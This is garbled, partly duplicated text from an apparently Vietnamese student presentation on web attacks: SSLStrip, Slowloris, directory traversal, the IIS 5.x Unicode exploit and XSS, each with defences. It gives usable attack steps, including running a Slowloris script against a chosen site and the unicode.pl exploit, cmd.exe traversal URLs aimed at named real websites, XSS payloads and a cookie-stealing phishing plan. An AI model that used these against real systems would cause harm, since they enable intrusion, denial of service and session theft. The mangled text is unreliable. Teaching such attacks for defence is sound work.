HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Web Server (maacutey phục vụ Web) maacutey tiacutenh magrave trecircn đoacute cagravei đặt phần mềm phục vụ Web đocirci khi người ta cũng gọi chiacutenh phần mềm đoacute lagrave Web Server
Dos Webserver khai thaacutec caacutec lỗi trecircn web server
Tất cả caacutec Web Server đều hiểu vagrave chạy được caacutec file htm vagrave htmltuy nhiecircn một số Web server lại phục vụ cho một số file riecircng biệt
IIS của MicrosoftASPASPXApache PHPSun Java System Web Server của
SUNdagravenh cho JSP
1 XSS (Cross-Site Scripting)
2 SSLStrip3 Directory Traversal
Attack4 Web Server
Technologies5 CGI Tester6 Code execution7 Cookie manipulation8 CRLF injection9 XFS vulnerability10 Email Injection
2 File inclusion3 File tampering4 Full path disclosure5 Remote XSL inclusion6 Script source code
disclosure7 SQL injection8 URL redirection9 XPath Injection
vulnerability10 Blind SQLXPath injectionhelliphelliphellip
Acunetix WVS (Web Vulnerability Scanner) lagrave cocircng cụ dừng để kiểm tra mức độ bảo mật của caacutec website noacute sẽ tự động kiểm tra caacutec ứng dụng Web để tigravem kiếm caacutec lỗ hổng bảo mật như SQL Injection hay Cross-Site Scriptinghellip
Noacute coacute thể queacutet bất cứ trang web nagraveo truy xuất bằng trigravenh duyệt web thocircng qua giao thức Http vagrave Https
Sau quaacute trigravenh thu thập thocircng tin WVS sẽ phacircn tiacutech từng trang nơi coacute dữ liệu đầu vagraveo từ đoacute sẽ đưa ra caacutec caacutech khai thaacutec khaacutec nhau trecircn mỗi trang tigravem được
Sau khi queacutet xong thigrave dữ liệu sẽ được lưu xuống database vagrave coacute thể xuất ra baacuteo caacuteo trong suốt quaacute trigravenh queacutet
High nguy hiểm nhất coacute nguy cơ tối đa trong việc hacker vagrave trộm cắp dữ liệu
Medium được gacircy ra bởi maacutey chủ dựa vagraveo sai soacutet trong việc cấu higravenh tạo điều kiện cho việc phaacute vỡ thacircm nhập vagraveo maacutey chủ vagrave thư mục
Low thường tạo ra do dữ liệu khocircng được matilde hoacutea khi gửi đi -gt tiết lộ đường dẫn thư mục
Information tiết lộ caacutec thocircng tin thocircng qua chuỗi tigravem kiếm
Site Crawler Target Finder Subdomain Scanner Blind SQL Injection HTTP Editor HTTP Sniffer HTTP Fuzzer Authentication Tester
SSLStrip Directory Traversal Attack Cross Site Scripting (XSS)
I Mocirc tảII Caacutech SSLStrip hoạt độngIII Caacutec bước thực hiệnIV Caacutech Phograveng chống SSLStrip
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
